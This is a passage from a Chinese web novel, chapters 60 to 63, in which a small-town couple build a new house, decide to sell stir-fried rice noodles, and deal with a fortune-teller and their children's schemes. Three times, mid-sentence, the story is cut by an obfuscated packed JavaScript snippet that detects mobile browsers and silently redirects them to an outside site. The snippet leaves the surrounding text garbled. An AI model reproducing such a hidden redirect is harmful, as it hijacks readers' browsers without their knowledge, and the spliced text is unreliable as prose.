至于婆婆以后需要人照顾,要搬过来住哪里,到时候再说。 既然分家的时候,婆婆不愿意搬过来跟他们一起住,那他们当然也没必要把房间一直空着。 榉木就做成孩子的床和书桌,书桌做四套,两套小一些,放在两个孩子的房间,这样不挤占房间的太多空间。 两套大一些,放在书房,大人也可以用。 虽然他们两个大人不一定看书,但偶尔有时间,家里又没电视,也只能看看小说、报纸、杂志之类的打发时间。 他们夫妻俩的就不用做了。 他们的床是结婚的时候,公婆找人做的实木床,分家也归他们。 到时候可以自己拆开,搬到新家去再组合起来。 衣柜和梳妆台他们也有,是结婚的时候赵如月带来的嫁妆。 房子的事,夫妻俩分工安排得明明白白,只是要开店卖什么,他们仍然没有头绪。 米线、米粉、云吞、饺子、包子这些镇上都有人开店卖,有些开了好多年了,镇上倒是没有卖饭的店。 不过不是没人想卖,而是那些卖饭的店都黄了。 饭菜这一类食物,镇上的人更爱在家里吃,总感觉在外面吃不划算,他们这里没有足够支撑饭馆的不做饭人群。 光靠过路司机,无法支撑起一家店。 街上的人和周边村子的人,赶集时想解馋,更喜欢选择米线、米粉或者饺子、云吞、包子这些。 而且乡村小镇守旧的人比愿意尝试新事物的人更多,很多人对于新鲜事物的包容度不高,不一定愿意尝试外来的食物。 赵如月每天想开店要卖什么,想得晚上做梦都是这些内容。 60. 第 60 章 第60章 赵如月在发愁镇上购买力不够,市场太小的时候,总是免不了去想:“要是我们家房子在县城就好了。” “在县城随便买什么都挣钱吗?”突然听到女儿这问。 赵如月才发现自己想着想着,竟然不自觉地把心里话说出来了。 “不一定,得看卖的东西好不好,但是在县城卖比在镇上好很多,可以选择的花样比较多,县城的人也比较舍得花钱,县城的人也多,县城附近镇子里的人也爱去县城玩,去玩就要花钱买东西吃。” 丈夫忙着盖房,每天除了给去帮忙盖房的人做饭,其他时间也要跟他们一起干活,又忙又累。 赵如月暂时不打算用这些事去打扰他,但又不知道跟谁说,不自觉就跟女儿说了很多。 宁时夏听完又问:“镇上的人去县城就花钱,是很喜欢县城的东西吗?” “应该是的吧。”赵如月觉得大部分人都是这么想,哪怕是同样的商品,很多人就是觉得在县城买的更高级。 很多人去一次县城回来,能把这事说一个月,反反复复地说自己在县城做了什么、买了什么,大人小孩都一样。 “县城也有很多镇上没有的东西。” 宁时夏点点头,脱口而出:“那我们家可以卖县城有,镇上没有的东西呀,就说是县城来的,上次我们去县城,哥哥给我买的小卡纸,过年的时候镇上也有卖,我跟哥哥去看过,跟县城买的一模一样,但是表哥和表姐就是觉得我在县城买的更好,思莲她们也这么说。” 赵如月思考到混沌的脑袋像是被开光了一样,一下子清醒了。 她追问道:“你表哥表姐和玩得好的小朋友们,后来去买镇上的小卡纸了吗?” 如果觉得县城买的更好,而不买镇上同款的东西,那就不能说是县城来的,如果依然买的话,这个操作可行性就很大。 镇上能经常去县城的人少,有些老一辈甚至一次都没去过,一辈子在镇上没挪窝,只能从别人嘴里听说县城是什么样的,都有什么东西,对县城的东西肯定好奇。 市里的东西在镇上人眼里比县城里的更高级,但是市里离镇上太远了,是很多人可望而不可即的存在,她说自家卖的东西跟市里卖的一样,别人不一定信。 说是县城有的东西,镇上常去县城的人就能给她家作证。 宁时夏在赵如月期待的目光中点头:“拿到压岁钱不用上交的都买了,大家都喜欢买那些跟别人从县城买回来的小卡纸一模一样的图案,那些卖完了才会选别的。” 赵如月有了方向,趁着要去县城买热水器的时候,请正好有空又对现在的县城比较熟悉的堂妹陪着,把县城的小摊和小餐馆逛了一圈。 她也不用都吃一遍,毕竟她家又不来县城跟这些小摊和小餐馆竞争,她只过去看看别人都卖什么,生意怎么样。 有感兴趣的就买一点尝尝,不感兴趣的,看过就走。 现在的小县城吃的比镇上花样多点,还不如以后繁华。 小吃她不太考虑,因为镇上消费力不行,过年期间和节假日还好,平时就算是集日,来赶集的人也更愿意给小孩子买能吃饱肚子,好吃又实惠的东西。 对于很多周边村子的大人小孩来说,能来镇上吃一碗米粉、米线或者云吞面,已经是很令他们高兴的事情了。 根据镇上的情况,赵如月跟宁绍明来之前商量过,他们也打算做比较能饱腹的东西。 这次来也主要是看这些,赵如月跟堂妹一圈逛下来,到处都逛过了,时间也才刚到中午。 麻烦堂妹跟自己逛一上午,堂妹没有抱怨过一句。 赵如月也不好意思只请堂妹吃小摊子或者小餐馆,就问堂妹:“有没有你比较喜欢吃的饭店?也带我去尝尝呗?” 赵如玉也想帮堂姐省钱,说道:“去饭店多不划算,我们随便找个快餐店吃一顿,吃饱就行了。” 赵如月玩笑着说:“那可不行,我这回算是来那什么……考察市场,花多少回去都能给你堂姐夫报销,不吃点好的多可惜,快把你平时爱吃的饭店叫出来。” 在她的催促和坚持下,赵如玉带着她来到一家装修很好,看起来好像不便宜,让人看着都不太敢进去消费,实际上价格还挺实惠的饭店。 服务员把菜单拿过来,赵如月接过来后直接递给赵如玉:“你喜欢吃什么点什么,千万别跟我客气。” 来都来了,赵如玉也不矫情:“那我可要吃大户了!” 说是吃大户,其实她也吃不了太多,只按照两人的食量,点了一个清蒸鱼、一个香菜牛肉、一个应季的绿叶蔬菜,还有两碗米饭。 清蒸鱼是她跟赵如月都爱吃的鲈鱼,香菜赵如月也不讨厌。 点了这些,她就把菜单递过去给赵如月。 赵如月拿到菜单后,加了一道羊杂汤,然后下意识地按照上午看小饭馆菜单一样,把这饭店的菜单从头到尾认真看了一遍。 看到宵夜部分有一道炒河粉,看到这个菜单上的炒河粉,突然想起来,她在县城逛了一早上,竟然没有在小摊子和小餐馆看到这个。 于是赵如月鬼使神差地把炒河粉也点了。 点完才意识到那是宵夜,原本想取消,但服务员看到她点这个后仍然神色如常,似乎对这已经习以为常。 她稍微犹豫了一下,服务员拿着菜单就走了。 两人等了大概十几分钟,除了早就提前做好的米饭之外,第一个上桌的菜竟然是炒河粉。 “这个是新出的菜式,我们这边一直只有煮粉,炒河粉这种吃法还挺新奇,听说是鹏城那边传过来的吃法,我跟我那些同事都很喜欢吃,最近下夜班路过,就单独点一份分着吃。”赵如玉边说着边夹了一小碗,让赵如月先尝尝。 “姐,你在鹏城应该吃过吧?尝尝看我们这里的跟鹏城的有什么区别?” 在赵如月吃着炒河粉的同时,也在翻自己的记忆,镇上是哪一年有炒粉的? 她没关注过这些,还真想不起来了。 也许是后来随着外出打工的人传回来的,赵如月只能确定,现在镇上没有哪家小摊或者店面卖这个。 在信息流通没那么迅速的年代,一种东西的传播,总是悄无声息地浸入普通人生活中,人们回过神来时,已经对它习以为常。 这似乎是一个机遇? 意识到这一点,赵如月面上不显,心跳却不由自主地加快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833073|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 思绪只在几秒之间,赵如月吃了两口,点着头说:“好吃,不过可能是我们本地的米粉原料和水跟鹏城的不同,所以吃着口感也有点差别,但它确实是好吃的。” 两人聊着天,菜也陆陆续续地上了,吃饱喝足后。 赵如月带着买好的热水器,兴奋地坐上回家的公交车。 返工潮过去后,镇上和县城往返的公交车很空荡,司机甚至有闲心帮赵如月把装着热水器的纸箱固定好。 赵如月考虑到孩子洗澡需要调到合适的温度,而现在的燃气热水器,只有高中低三挡可调温,温度不能微调,所以买的是储水式热水器。 那热水器看着很大一个,其实一点也不重,她随随便便就扛起来了。 从镇上的汽车站一路扛到家门口,吸引了不少人的目光。 宁绍明在宅基地那边帮忙搅拌水泥、搬砖。 听人说他老婆扛着个大家伙回来,他赶忙放下手里的活,急匆匆赶回去。 “不是让你回来前给家里打个电话说一声,让小秋骑车来通知我去车站接你吗?那么大个东西,你怎么扛回来的?” 赵如月不在意地摆手:“这有什么难的,你抬起来试试,一点也不重,你来看看这个。” 她把打包回来的炒河粉递给宁绍明。 “给我买的?”宁绍明打开袋子,闻到了一点香味,又打开打包盒,“怎么给我带这个?” “我……”赵如月想跟他说自己的想法,但一看周围都是来看热水器的人,她把话咽了回去,“我跟如玉去吃的时候觉得挺好吃,就给你打包了,我在县城吃过了,你给孩子们和爸妈也分点尝尝。” 饭点里卖得不便宜,五块钱一份,虽然不算配菜和肉,大概有四五两,分量挺多,但对比镇上米粉和肉的价格,还是挺不划算的。 不过这份毕竟是饭点卖的,他们自己卖的话,价格肯定不能定得那么贵。 人家自家人要分东西吃,来凑热闹的人也识相地说还有事,纷纷散了。 反正赵如月也说了,这个热水器以后是装在他们新家那边的。 安装的时候,他们想去看的话,可以去看看,现在怕孩子弄丢零件,不敢拆出来让人看,众人都表示理解。 毕竟那是县城买回来的东西,零件丢了在镇上还真不一定能买得到,为一个小东西,还要再花来回车费,往县城跑一趟可划不来。 人走光后,宁绍明给两个孩子和父母都分了一些,只给自己剩下两口的量,他尝了一口。 还在嚼,赵如月就问:“味道怎么样?” 吃得快的两个孩子都说好吃,两个老人也说好吃。 宁绍明吃完擦了擦嘴唇:“确实好吃,不过油放多了,好的炒河粉,看起来油润诱人,但吃起来不油腻,不过对于肚子里油水少的人来说,可能反而更喜欢油多一点的。” 赵如月期待地问:“你觉得我们在镇上卖炒河粉可行吗?我想过了,除了这种切粉,还能加上粗圆粉、细圆粉和粉丝,丰富种类。 现在镇上没有一家店卖这个,县城目前也只有一家饭店有的卖,可以再搭着卖羊肉汤或者羊杂汤,羊的成本太高的话,换别的汤也可以。” 61. 第 61 章 第61章 宁绍明没做过生意,也说不好卖炒河粉行不行:“要不我们先试试?” 赵如月以为他想先去集上摆摊试卖:“你还要忙宅基地那边的活,摆摊试卖忙得过来吗?” 宁绍明解释:“不是试卖,我想明天早上去卖食材,中午做一顿给在宅基地那边帮忙干活的人试吃,看看他们能不能接受。” 在宅基地那边帮忙的都是本地人,基本上可以代表本地大部分人的口味。 他们觉得好吃的话,带回家跟家人一起吃过几次,很快就能帮忙把他家要卖的东西宣传出去,要不了多久,镇上的人就知道了。 “还是先等等吧,等房子差不多能入住开店,再让他们试吃,毕竟做这个对于会做饭的人来说,并不算难。”赵如月担心被人捷足先登。 她倒是不怕自家卖炒河粉后,镇上的米粉店跟风。 她对宁绍明的手艺有信心,而且客人的舌头又不是白长的,同样的东西,同样的价格,谁家的好吃人家也吃的出来。 赵如月只担心提前被别人用去赚钱,自家的房子却没建好,想跟别人竞争都没办法。 宁绍明有点担心:“要是到时候反馈回来的结果不好,我们再改别的会不会耽误时间?” 赵如月说:“这有什么,我们开店用的是自家的房子,又没有租金成本,做不成生意还有地可以种,也不会欠债挨饿。” “那行,我尽快把建房的进度加快,现在大致框架已经出来了,你有空可以过去看看门店以后该怎么布置,可以去找木匠打店里的桌椅和柜台了。” 近期砍下来的木头没办法做家具,赵如月之前选好的木头,砍下来之后,要先去跟别人换成晾干处理好的木头。 要是用刚砍下来的湿木头跟别人家换,肯定不能一比一地兑换。 不过她是回娘家,跟娘家人换,娘家人没多要。 换回来的木头,加上公婆以前给愿意要空宅基地的儿子提前攒下的一些木头,做家里自用家具和店里桌椅、柜台的木头刚好够。 木头到位的第二天,赵如月立刻去已经建成个雏形的新房量尺寸。 然后又马不停蹄地去找木匠,先做店面的桌椅和柜台。 “你这是做椅子还是桌子?”镇上的木匠指着她给的尺寸图问,“尺寸没标错吧?看着像长条椅,但是尺寸不对呀!” “没标错,你放心大胆按照我给的尺寸做就行,我要做靠墙放的长桌,这样能坐的人多些。” 米粉店又不是奶茶店,大部分客人吃完抹抹嘴就赶着逛集市去了,也不介意跟别人拼桌,店里放这种长桌可以最大限度地把空间利用上。 镇上跟她家面积差不多的店,最多摆四张桌子,挤一挤能摆五张。 但是她这么设置,摆上这两个长条桌后,再把正常桌子的面积稍微缩小一点点,依然能摆四张桌子。 “镇上的店也不放这种桌子啊……”木匠不解地嘀咕,但一点不耽误做活,也没阳奉阴违。 反正他跟赵如月确认过了,以后按照给的图纸尺寸好好地做出来,用不了也不是他的问题。 赵如月看他执行得一丝不苟,心里很满意,她还要去买靠墙装在外面,遮阳挡雨的篷布。 抬脚正准备走,想起还得买几张折叠桌,客人多的时候放到篷布下,招待客人用。 这个木匠家貌似有成品卖,她就多问了一句。 木匠抬头指了指旁边的一个房间:“都在里面,五十块钱一张桌子,十块钱一张凳子,都是正经木头打的这贴桌,按一套要的话,八十块钱,有一张桌子四张椅子,不讲价,这个价格很实惠了,你去别的地方买,一套至少要一百,那桌子还不一定是正经木头桌。” 赵如月知道,现在有那种桌面有图案的这贴桌,看着好看,实则内里是木头碎屑加胶压成的板子,放的东西重一点还会往中间凹,确实不如他家木头打的折叠桌。 “行,我去选几套,不给讲价,能给送货上门吧?我大概要四五套,光靠我自己可抗不走。” 木匠笑眯眯地猛点头:“当然能给你送家里,要送你家老房子那边还是新房那边?我跟我儿子说一声,直接就能给你送过去。” 赵如月想了想说:“先送老房子那边吧。” 新房那边框架起好了,但是墙体还没干透,也没装门窗,放那边宁绍明不一定能时时注意到,容易被偷。 忙忙碌碌一直到二月末,门窗终于装好,新房看起来很像样了,甚至比有些只装了大门,连窗户都没装就住进去的小楼房都体面。 要是不装修,现在把水电一装,家具往里一搬,直接就能住进去了。 很多人,包括宁绍明的父母都以为他们会这么搬进去。 然而之前运钢筋的司机又来了,这次他运的不是钢筋了,而是用另一辆小一点的货车运来的瓷砖,还有刷墙的材料、厕所的便盆、洗手间的洗手台等等。 镇上只有水泥、石膏,墙漆也得去县城买,那个卖钢筋的老板,除了卖钢筋还卖装修材料,宁绍明不想到处跑,干脆就全在同一家店买了。 所有东西刚好能凑一车,人家直接给送货上门,也省的他还得自己想办法运回来。 赵如月跟宁绍明都去过鹏城,见识过城里人房子还有酒店里的装修。 虽然他们没那么多钱,把自家装修得跟城里人家那么好,但是那些不花太多钱,做好后就能提升生活品质得便捷程度的地方,他们也想尽量做好。 比如水电走线、开关、插座以及洗手间里的便池、洗漱台和淋浴喷头。 他们暂时还买不起洗衣机、冰箱、电视机这些,但是都提前预留了位置。 目前家里唯一的一件最值钱的家电,只有那个储水式电热水器。 从把那热水器买回来,到房子装修的时候把它装上去,过去了一个多月的时间,街坊邻居们依然还记得这个东西。 赵如月装电热水器的时候,很多人都跟着去她新家看。 他们家预留的热水器位置在厨房外面,还设置了单独的插座和开关。 只要把孔打好,装上支架,再把热水器架到支架上就算完成了一半。 赵如月定好打孔的点,拿了把椅子放好,自己拿着电钻就站上去了,她曾经为了省耗材费和安装费,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841079|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己买材料装过。 “诶诶诶诶,如月你怎么自己上去了,这男人的活你能干嘛?” “哎哟,你个女人家可别乱来,让你家男人干吧,别等会儿把墙打坏了!” 周围一群大娘大婶大叔大爷一脸紧张地看着她,仿佛她手里拿着的不是电钻,而是一把要砍他们的大砍刀。 不等赵如月解释打孔很简单,自己也会,就听到一个稚嫩的声音不高兴地说:“我妈怎么就不会了,我妈啥都会!” 宁时夏噘着嘴心里有点生气,这些大人竟然怀疑她妈妈连打孔都不会,真是不像话。 那么简单的事情,她觉得要不是自己力气小,让她去做她也行! 那些大人看她噘嘴的样子可爱,还想逗她,宁时夏把想掐自己脸的手都拍走了,跑到爸爸和哥哥身后给妈妈加油。 其实宁时夏根本不知道自己妈妈到底会不会,因为她从来没见过妈妈做这些。 但是她就是不乐意那些也没看过的人都没让她妈妈试一下,就提前说她妈妈不会! 赵如月笑着对女儿眨眨眼睛,沉稳地启动电钻,在自己标记的地方打了两个合格的孔。 然后掏了掏口袋,拿出膨胀螺丝的膨胀管,把膨胀管敲进去,再装上膨胀螺丝、热水器支架。 “可以了,把热水器递上来。” 宁绍明把热水器递上去,赵如月对准支架一卡,热水器被稳稳当当地挂在了墙上。 “见着没!”宁时夏骄傲地冲着那些大人抬起小下巴,得意得不行,“我就说我妈会吧!” 赵如月接着又拿出其他配件一一装上,她看起来那么轻松地就把热水器装好,让围观的街坊邻居啧啧称奇,看她的眼神像是在看什么稀奇动物。 面对他们的调侃,宁绍明面上镇定、嘴上谦虚,心里却跟女儿一样嘚瑟,这些邻居不知道,他家的插座和水龙头,其实也是他老婆装的! 要不是没有电工证,赵如月甚至可以把走线的活也自己干了。 装好热水的当天晚上,他们一家四口就在这个春寒料峭的时节,美滋滋地洗上了不用锅烧水的热水澡。 要不是刚装修好,家具也才搬进来,需要再放两三个月晾一晾,他们恨不得马上住进新家。 也就是他们的家具全都是真正用木头打的实木家具,房子里没什么甲醛含量高的东西,要不然晾房子的时间可不止两三个月。 新房暂时不能马上搬进去,新店打扫干净后却可以开起来了。 他们原本打算请人试吃店里要卖的炒河粉,后来一直觉得时间不合适,就一直拖着。 眼看挣钱的事拖了那么久,他们的店再不开起来,春节前卖货时的宣传就要白费了。 跟赵如月买过东西的那个老乡,每次来镇上赶集都会过来问一问,他们的店什么时候开张。 再拖下去,赵如月都觉得不好意思见她。 申请到开店所需的证件后,两人一商量。 干脆把搬新家请温居酒的时间提前,邀请之前帮忙建房的人和其他亲朋好友来吃饭。 把炒河粉当做席面上的一道菜,看看他们吃完后的反应。 62. 第 62 章 他们俩商量好之后,当天晚上回老宅那边吃饭,在饭桌上就把这事跟其他人说了一下。 原本他们想得很简单,跟亲朋好友说一声什么时候去吃饭,然后提前一天去订食材就行,在一个星期内把这个事完成。 最好能挑在星期六或者星期日,这样孩子们刚好在家。 黄秀华一听他们说这事,饭都顾不上吃了,马上把挂历拿来翻,翻了半天没翻出个名堂来。 又说要去找道公和神婆算算日子。 赵如月和宁绍明听着都懵了,他们以为在挂历上随便选个适合请酒的日子就行,怎么还要去找道公和神婆? 但是黄秀华神色很眼熟,坚持要去找,该非要让他们两口子也跟着一起去,同时带上他们一家四口不穿的一件衣服去给人看。 宁绍明觉得麻烦,试探地说了一句:“不用去找吧,我们都看好日子了……” 就是想快点,要不没钱入账,他心慌。 黄秀华神色严肃地说:“不行!你不信的话,可以出去问问别人家,那些开店的是不是也这样,别以为这是封建迷信,你媳妇儿三叔家,还是开医馆的呢,他以前也去找人算过才定的日子,你们年轻不懂事,可我们家里的老人要是不提醒你们、不劝你们,别人说起来就是我们的不对了。” 宁绍明看向他爸,见宁达也点头表示赞同,只能无奈地跟赵如月对视一眼,接受了这个安排。 “那到时候跟道公和神婆说,给我们挑的日子近一点……” 他话还没说完,就被黄秀华瞪着眼打断了:“日子都是算出来的,怎么能要求怎么样就怎么样?人家算出来是什么时候就是什么时候!” “要是算出来是明年,也得等到明年才能开店?”宁绍明吐槽道,“今年我们一家子喝西北风去呗?” 黄秀华骂道:“你这乌鸦嘴,一整年里怎么可能没有合适的日子,你别说了,明天就跟我去找人,我早替你们打听好了,镇上开店生意好的人,找的都是那两个,你们去了不许乱说话,知道吗?” 她着重盯着宁绍明,直到他再三保证,他去了之后道公和神婆不问,他一个字不说,才放过了他。 明天是星期一,两个孩子本来要去上学,也得给他们请假,带着两个孩子一起去算日子。 第二天一家子跟在黄秀华身后,先去了神婆家。 赵如月进去后左看右看,没感觉神婆家除了每天都会烧香之外,跟别人家有什么不一样。 神婆看起来也跟普通大娘差不多。 黄秀华把他们的衣服交给神婆,听她絮絮叨叨地说了半天话,让人听着似懂非懂的。 然后给了钱,拿到四个被折成三角形的黄符,让他们每天戴着,至少要戴一个月,一个月后不想再戴就烧掉。 那四件衣服经过神婆做法后,再次退回来给他们,让他们回去至少穿一次,往后想穿可以继续穿,不想穿可以随意处理。 全程没提开店日子的事,宁绍明想说话,结果被他妈瞪了好几眼,硬是瞪得他把话咽了回去。 出了神婆的门,他还被训了一顿,他妈看起来就差用个胶布把他嘴粘起来了。 前往道公家的路上,千叮咛万嘱咐,到了地方不许他说话。 到了道公家,衣服没用上,倒是正经给他们算日子了。 最后算出来三个合适的日子,一个是农历润二月二十八,公历是四月十七号。 一般说日子都是从离得近的日子说起。 所以宁绍明没等道公说出另外两个日子,就忍不住说:“就这个日子了。”刚好是星期天六 算完出去又被他妈骂了一顿,嫌他插话太快,害自己没能多听道公对那几个好日子的讲解。 “花一样的钱,别人来一次能听好几个日子的讲解,我们才能听一个,亏得慌!” 宁绍明不懂她为什么那么激动和在意这个:“听那个有什么用,你又不能做道公。” 黄秀华一副恨铁不成钢的样子看他:“我听了以后别人问起来,好跟人说一说,要不别人问我日子怎么选的,我怎么跟人说?” 宁绍明:“哦,原来是为了回去以后,好跟人唠嗑。” 他算是知道了,来算日子就是他们花钱,给她买一个能跟人八卦的话头,内容不够丰富还不行。 “……”黄秀华被他噎了一下,“你闭嘴,我跟你说不通,懒得跟你说了!” 宁绍明一天之内挨了好几通骂,这一天挨的骂比他以前一年还要多。 不过好在日子定下来了。 四月十七号离现在也就不到十天,他们可以趁着这段时间还有空,好好地拾掇拾掇门店和新家。 刚装修好的房子,只打扫一次可不行,要多打扫几次那些灰才能打扫干净。 趁着开店把新房子也一起收拾好,也免得以后忙起来顾不上。 房子中间的空地,他们可以趁着现在有空,用建房和装修剩下的材料,铺几条纵横交错的小路,把地分隔成小块,也方便以后走路。 分隔好之后,趁着还是春天,顺便把想种的菜和花种下去。 再把门口和右边墙下装了篷布的那一块地方铺上水泥,方便以后打扫。 做完这些,建房剩下的余料就差不多用完了,只剩下一点砖头和水泥。 距离四月十七号也只剩下不到两天。 剩下的那点砖头和水泥,宁绍明原本想在门口砌个灶,可惜也不够,只能作罢。 宁时夏这些天兴冲冲地跟在他们身后当跟屁虫,学校都不去了。 她今年农历三月份才到四岁,本来就还不到去上学的年纪,本地没有幼儿园,小孩们五岁上小学里的学前班小班,六岁上大班,七岁上小学一年级。 他们家两个孩子上学年纪都偏早。 现在女儿还小,不想去学校赵如月也由着她,帮她跟学校请了假。 父母铲水泥、铺水泥,宁时夏也拿个小桶和小铲子帮忙。 他们本来还以为她会捣乱,没想到竟然做得一本正经有模有样的。 赵如月和宁绍明去忙别的事情时,她还会拿个小板凳,守在铺好水泥的地方,驱赶靠近的小动物,不让它们踩到还没干透的水泥地面上。 别人家门口的水泥地面,难免会有个鸡脚印或者狗脚印、猫脚印,他们家的地面一个都没有,只有为了防滑,划上去的横纹。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850459|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宁时夏看到家里还剩下的材料爸爸妈妈都用不上了,就说自己想要。 宁绍明想着这孩子跟在他们身边,干活这么多天,对这些东西非常熟悉。 她力气也不小,这种红砖抬起一块很轻松。 应该不会把水泥之类的东西,胡乱往嘴巴里塞、往眼睛里糊,就点头了:“你拿去玩吧,需要爸爸帮忙就说一声。” 宁时夏豪迈地小手一挥:“不用,我自己能行。” 她一本正经地在门口的角落,选了个不挡人走路的地方,在哪里开始搅和水泥。 宁绍明在旁边看了一会儿,确认女儿没问题,跟在院子里种菜的赵如月说了一声,就出门找人订羊去了。 今天四月十五号,明天十六号要订的东西太多,能提前一点订的东西,他今天都要提前去订,以免明天事情太多太忙乱。 宁绍明订好羊回来,就看到门口已经垒砌起一个四四方方的东西。 看着不大,高度只比坐着的小孩膝盖高一点,长度目测不到一米,宽度大概有他小臂那么宽,有一小块地方估计是砖不够,是用水泥和一些小石头补上的。 看起来像个鱼池,不过太小了,只能养一些小鱼,用来哄孩子玩倒是不错。 “我回来了!”宁绍明走进家门。 看到女儿蹲在地里帮赵如月点种子,他笑着问道:“小秋,你在门口做的是水池子吗?想在门口养鱼?想养鱼的话只用砖可不行,得在里里外外再糊一层水泥,水才不会漏出去。” 他已经想着要不再买点水泥回来,给女儿把那个小池子糊好。 宁时夏抬头,然后摇头:“不是哦,现在不能告诉你们,我要等哥哥回来,我跟他说好了的。” “行,那爸爸不问了,等你们揭晓的时候再看看是什么。” 傍晚宁时秋放学回到家,两个孩子回老宅吃饱饭,一个骑着自行车、一个滑着滑板跑到新家。 赵如月跟在他们身后,走到地方就看他们俩蹲在那里,对着今天宁时夏在角落砌的那个小矮池子比比划划、嘀嘀咕咕的。 赵如月也不管他们做什么,兀自走进院子里,给院子里种的菜和花浇水。 浇水到一半,听到两个孩子高声道:“妈妈,我们回家了。” 赵如月头也不抬,应了一声:“路上注意安全,别走路中间。” 听到他们回应:“知道了。”就放心地继续浇水。 宁时秋和宁时夏带着量好的尺寸,跑去找爷爷:“爷爷,你能不能帮我们做一个这么大的铁网?” 嘴甜的宁时夏为了让爷爷答应帮忙,更是张嘴就画了一个大饼:“等铁网做好,我们给你尝尝特别特别特别好吃的东西!” “好好好,咱们家小夏最乖了。”宁达笑眯眯地夸小孙女一句,才拿起他们给的纸,看了一眼纸上的画和尺寸。 就一个四四方方的网,做起来很容易。 他也不问两个孩子做这个干什么用,就点头应下了:“着急要不?不着急明天再给你们做,着急要,现在就能做。” “不着急,明天后天再做都行。” 他们的灶台还没晾干呢,做好了也暂时用不上。 63. 第 63 章 温居酒前一天,赵如月和宁绍明到处去订购明天要用的东西,确认明天的菜。 忙忙碌碌的两人根本顾不上孩子,好在宁时夏终于愿意去学校了。 中午兄妹俩回家吃午饭,宁达已经把他们要的网做好了。 他特地找没用过的不锈钢钢丝,以为两个孩子是要拿这网去玩过家家抬东西玩,还在两边做了提手,方便他们玩的时候提着走。 宁时夏拿到网后,一连串好话不要钱似的从嘴里蹦出来,哄得她爷爷眉开眼笑,又应下了给他们削竹签的活。 他在干活的间隙抽空做,一天下来也做了不老少。 今天是星期五,为了方便住校生能在天黑前赶到家,学校下午的课只上到三点半就放学了。 他们镇上留守儿童越来越多,有些村子离学校远,村里孩子少,没有设置村小,或者村小只能上到三四年级,孩子要继续上学就只能来镇上的中心小学住校学习。 宁时秋先把妹妹送回家,然后骑着车去镇初中接同样住校的堂姐宁丹萍。 镇上只有这一个初中,小学还有走读生,但上了初中后,不管是家在街上的学生还是附近村子的学生,全都要住宿。 星期五初中的放学时间跟小学一样,所以宁丹萍放学后还得在校门口等宁时秋骑车来。 路过的同班同学知道她有人来接都很羡慕,即使来接她的不是父母,只是堂弟。 没人接的话,得自己花钱坐车到镇上,有些学生到镇上后,还要再花一份钱坐车回村里。 如果家长不给坐车的钱,就只能从学校走着回家,离得远的学生甚至要走两三个小时的山路,求学之路十分艰辛。 宁时秋骑车接近初中校门,远远地就看到堂姐在对自己招手。 自从开学后,宁时秋就开始每周接送堂姐,之前他来的时候,学校的人都走得差不多了,只有他堂姐站在校门口跟门卫和值班老师边聊天边等他。 这次堂姐身边却多了两个人。 等宁时秋在她面前停下。 宁丹萍试探着问道:“小秋,能不能跟你商量一下,顺便把我这两个同学也送回家?她们家也在镇上,只是离学校比我们家还要远。” 宁时秋被问了个措手不及:“可是我年纪太小,没办法来回骑那么多次。” 如果他现在也是初中生的年纪,力气更大,他就一口答应下来了,毕竟也不是什么很难办的事,多送两个人而已。 宁丹萍咬咬牙,拉着宁时秋走到旁边悄声说:“我同学答应给四毛钱车费,我跟你平分行不行?” 宁时秋看了堂姐一眼,心想:以往看堂姐在家被大伯娘骂也不会反驳,特别老实巴交的样子,没想到还挺有心眼…… 要是他刚才一口答应下来,用他自行车挣的这钱,是不是就不跟他平分了? 宁时秋现在怀疑,堂姐同学答应给她的车费不止四毛钱,他觉得堂姐同学至少也会给她五毛。 因为从初中坐三轮车或者摩托车到镇上要一块钱。 镇上有车的人少,所以这一段说长不长、说短不短的路,坐车比在镇上吃一碗米粉还要贵。 公交车倒是也会在初中校门口停下载客,但是坐公交车不管距离远近,上车就是两块钱,不如三轮车和摩托车划算,学生一般都不坐公交车。 她同学想省车费,能省一半,看起来比较合理。 不过本来就是无本的买卖,给点苍蝇腿也是肉,钱攒一攒不就多了么。 宁时秋道:“看在你的面子上,答应是可以答应,不过我真骑不了好几趟,要不你送我回家,然后你自己再来送她们回家?” 宁丹萍飞快答应:“我现在就送你回家!对了,星期日下午,我也想借你的自行车接送我同学。” “也是一个人给我两毛?” 宁丹萍嘴角抽了抽,算算一下午能挣的钱,感觉有点心疼,可谁让她没车呢。 借别人的车挣钱,只能点头答应:“也给!” 宁时秋立刻很上道地说道:“那我星期日上午让我爸帮我检查车子,轮胎的气肯定也充够再给你,保证不耽误你挣钱。” 宁丹萍担心他跟他爸说,忙叮嘱:“这事是我们之间的秘密,你回家可不能跟别人说,你爸妈和小夏也不能说。” 宁时秋仿佛他妹上身一样,拍着胸脯保证:“丹萍姐你放心吧,我嘴巴很严的,我不想说的事情,我爸妈他们也不会多问。” 